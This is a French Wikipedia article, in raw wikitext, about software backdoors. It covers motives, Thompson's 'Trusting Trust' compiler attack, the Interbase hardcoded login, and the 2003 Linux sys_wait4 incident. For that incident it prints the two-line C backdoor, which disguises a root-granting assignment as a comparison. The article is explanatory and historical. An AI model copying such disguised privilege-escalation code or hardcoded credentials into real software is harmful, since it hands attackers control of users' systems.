Porte dérobée
58476
30871314
2008-06-22T09:21:39Z
HERMAPHRODITE
288856
/* GNU/Linux */
{{Série Logiciel malveillant}}
Dans un [[logiciel]] une '''porte dérobée''' (de l'[[anglais]] ''backdoor'', littéralement ''porte de derrière'') est une fonctionnalité inconnue de l'[[utilisateur légitime]], qui donne un accès secret au logiciel. En [[sécurité informatique]], la porte dérobée peut être considérée comme un type de [[Cheval de Troie (informatique)|cheval de Troie]].
== Technique ==
Une porte dérobée peut être introduite soit par le [[développeur]] du logiciel, soit par un tiers, typiquement un [[pirate informatique]]. La personne connaissant la porte dérobée peut l'utiliser pour surveiller les activités du logiciel, voire en prendre le contrôle (par contournement de l'[[authentification]]). Enfin, selon l'étendue des droits que le [[système d'exploitation]] donne au logiciel contenant la porte dérobée, le contrôle peut s'étendre à l'ensemble des opérations de l'[[ordinateur]].
La généralisation de la mise en [[réseau informatique|réseau]] des ordinateurs rend les portes dérobées nettement plus utiles que du temps où un accès physique à l'ordinateur était la règle.
Parmi les motivations amenant les développeurs de logiciel à créer des portes dérobées, il y a :
#L'intérêt pratique d'un accès facile et toujours ouvert au logiciel pour pouvoir mener efficacement les actions de [[maintenance]].
#La possibilité de désactiver subrepticement le logiciel en cas de désaccord avec son client (non-paiement de licence).
Parmi les motivations amenant les [[pirate informatique|pirates informatiques]] à installer une porte dérobée :
#La possibilité de surveiller ce que fait l'[[utilisateur légitime]] et de copier ou détruire des données ayant une valeur ([[mot de passe|mots de passe]], [[clef de chiffrement|clé privée]] pour déchiffrer des messages privés, coordonnées bancaires, secrets commerciaux).
#La possibilité de prendre le contrôle d'un ordinateur et de pouvoir l'utiliser pour mener des actions malfaisantes (envoi de [[pourriel]]s notamment pour l'[[hameçonnage]], de [[virus informatique]]s, [[déni de service]]).
#Le contrôle d'un vaste réseau d'ordinateurs (voir ''[[botnet]]''), qui peut être utilisé pour du chantage au [[déni de service]] distribué (DDoS), ou revendu à des criminels.
Pour installer des portes dérobées en masse, les pirates informatiques utilisent des vers. Ceux-ci se répandent automatiquement et installent un [[serveur informatique]] sur chaque ordinateur infecté. Ensuite le pirate peut se connecter à travers [[Internet]] au serveur.
Une porte dérobée peut aussi être insérée par voie d'[[Easter egg]], de [[compilateur]] (voir la section plus bas ''Le cas du compilateur C Unix: Trusting Trust''), ou peut prendre la forme d'un programme, comme [[Back Orifice]].
==Le cas du [[compilateur]] [[C (langage)|C]] [[Unix]] : ''Trusting Trust''==
En [[1984]], l'[[informaticien]] [[États-Unis d’Amérique|américain]] [[Kenneth Thompson]] décrit, dans son article ''Reflections on Trusting Trust'', comment il aurait été possible d'insérer une '''porte dérobée''' dans tous les programmes en [[C (langage)|C]] [[compilateur|compilés]] sur [[Unix]]. De plus, vu que les versions [[Mise_à_jour|mises à jour]] de ce [[compilateur]], qui n'est rien d'autre qu'un autre programme compilé, sont compilées à partir du compilateur C préexistant, l'algorithme d'insertion de la porte dérobée se serait fait transmettre d'une mise à jour à une autre. Donc, si ce compilateur à porte dérobée avait été « lâché dans la nature » (en [[anglais]] : ''released in the wild'') à l'origine, alors n'importe quel compilateur de C insèrerait possiblement des portes dérobées de nos jours.
* Des caractéristiques de ce compilateur fictif, est notable le fait que la porte dérobée présente dans n'importe quel programme C compilé n'apparaîtrait jamais dans le [[code source]] en C.
* L'appellation ''trust'' (pour ''confiance'') vient du fait que le compilateur C d'origine est considéré par son [[utilisateur final]] comme une [[boîte noire (informatique)|boîte noire]] digne de confiance.
* Soit un [[programmeur]] qui ne comprend pas le fonctionnement d'un tel [[compilateur]], mais lui fait confiance. Il lui serait difficile de déceler qu'un [[programme informatique|programme]], qu'il a lui-même écrit puis compilé, contient une porte dérobée.
Source: Kenneth Thompson, ''Reflections on Trusting Trust'', Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. {{en}} [http://www.acm.org/classics/sep95/]
== Affaires notables ==
=== Interbase ===
Une porte dérobée a été découverte dans le [[SGBD]] [[Interbase]] le [[10 janvier]] [[2001]] lors de l'ouverture du code source par son éditeur, [[Borland]]. Il suffisait d'entrer le nom d'utilisateur « politically » et le mot de passe « correct » pour se connecter en administrateur. La faille existait depuis [[1994]].
=== GNU/Linux ===
En [[novembre 2003]], une porte dérobée a été trouvée dans [[GNU/Linux]]. Fort heureusement, elle a été détectée très vite, avant qu'une version de GNU/Linux soit mise en production. La porte dérobée a été greffée très synthétiquement: elle consiste en deux lignes de [[langage C]], ajoutées à la fonction ''sys_wait4'' du fichier « kernel/exit.c » :
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
La condition (current->uid = 0) est censée être lue par un lecteur particulièrement naïf comme une comparaison « si le numéro d'utilisateur du processus est 0 (root) » mais en réalité signifie en langage C l'affectation « le numéro d'utilisateur du processus devient 0 (root) ». Le résultat est que si cette fonction sys_wait4() truquée était appelée avec les paramètres __WCLONE|__WALL, le processus prenait l'identité de root, le super-utilisateur, disposant de droits d'accès aussi maximaux.
En réalité, ceci n'est pas exactement réalisé dans les deux lignes précédentes, car GNU/Linux utilise plusieurs drapeaux, les ''capabilities'' et non le numéro d'utilisateur pour savoir si un processus peut outrepasser une règle de contrôle d'accès. Le processus n'aurait en fait eu aucun droit particulier en plus de ceux de d'un numéro d'utilisateur 0 (root): manipuler les fichiers appartenant à root, les processus appartenant à root... ce qui est très important pour une brèche de sécurité mais n'a rien à voir avec la notion de ''super-utilisateur''.
Cette modification prétendument subtile devait être lue par un hypothétique programmeur débutant en C, ayant été formé avec des langages de programmation où le test d'égalité s'écrit = (Pascal, Ada, ML...) et non == (C, C++, Java...). Il va de soi qu'un programmeur à ce point débutant ne travaille pas (ou ne devrait jamais travailler) sur les sources du noyau Linux. En fait, le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants (y compris ceux ne travaillant pas sur le noyau) se seraient laissés prendre.
De plus, le processus de développement collectif d'un logiciel (notamment celui d'un logiciel libre) impose que chaque modification soit validée; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaitra dans les ''diff'' et soulèvera de légitimes interrogations, si elle n'a pas une justification claire.
== Au cinéma ==
* Le scénario du film américain ''[[WarGames]]'' repose sur une porte dérobée. Le concepteur d'un système informatique militaire y insère une porte dérobée sous la forme d'un [[mot de passe]] non-documenté qui y donne accès. Ce mot de passe donne aussi accès à des fonctionnalités non-documentées du programme, qui donne au système de contrôle d'armement l'apparence d'un [[jeu vidéo]] de simulation de guerre.
=== Liens externes ===
* {{fr}} [http://www.transfert.net/a3504 Article dans transfert.net sur la porte dérobée dans Interbase]
* {{en}} [http://kerneltrap.org/node/1584 Article dans kerneltrap.org sur la porte dérobée dans Linux]
{{Portail sécurité informatique}}
[[Catégorie:Cheval de Troie]]
[[Catégorie:Exploit (informatique)]]
[[bs:Backdoor]]
[[ca:Porta falsa]]
[[cs:Zadní vrátka]]
[[da:Bagdør (malware)]]
[[de:Backdoor]]
[[en:Backdoor (computing)]]
[[es:Puerta trasera]]
[[fi:Takaovi (tietotekniikka)]]
[[id:Backdoor]]
[[it:Backdoor]]
[[ja:バックドア]]
[[nl:Achterdeurtje]]
[[pl:Backdoor]]
[[pt:Backdoor]]
[[ru:Бэкдор]]
[[sr:Бекдор]]
[[sv:Bakdörr]]
[[th:ประตูหลัง]]
[[zh:後門軟件]]